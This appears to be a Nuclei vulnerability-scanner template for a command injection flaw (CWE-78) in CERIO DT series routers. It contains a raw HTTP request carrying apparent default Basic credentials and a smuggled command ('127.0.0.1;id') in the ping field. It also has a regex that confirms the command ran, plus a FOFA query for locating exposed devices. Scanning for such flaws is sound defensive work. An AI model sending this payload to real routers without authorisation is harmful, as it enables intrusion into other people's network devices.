id: cerio-dt-rce

info:
  name: CERIO-DT Interface - Command Execution
  author: pussycat0x
  severity: critical
  description: |
    CERIO DT series routers have an operation command injection vulnerability in specific versions. An attacker could exploit this vulnerability to execute commands.
  reference:
    - https://github.com/20142995/sectool
    - https://github.com/tanjiti/sec_profile
    - https://github.com/wy876/POC/blob/main/D-Link_DAR-8000%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2023-4542).md
  classification:
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="DT-100G-N" || title="DT-300N" || title="DT-100G" || title="AMR-3204G" || title="WMR-200N"
  tags: cerio,rce,vuln

http:
  - raw:
      - |
        POST /cgi-bin/Save.cgi?cgi=PING HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic b3BlcmF0b3I6MTIzNA==
        Content-Type: application/x-www-form-urlencoded

        pid=2061&ip=127.0.0.1;id&times=1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009dbb7bc95dd61af5905200c2edf8572fc31ad2a93f5a4661a755b56f1a90f5ca02203e47b13dc22629e96d3853ea9a3952a66b6468eb6be148744ed42b678040b356:922c64590222798bb761d5b6d8e72950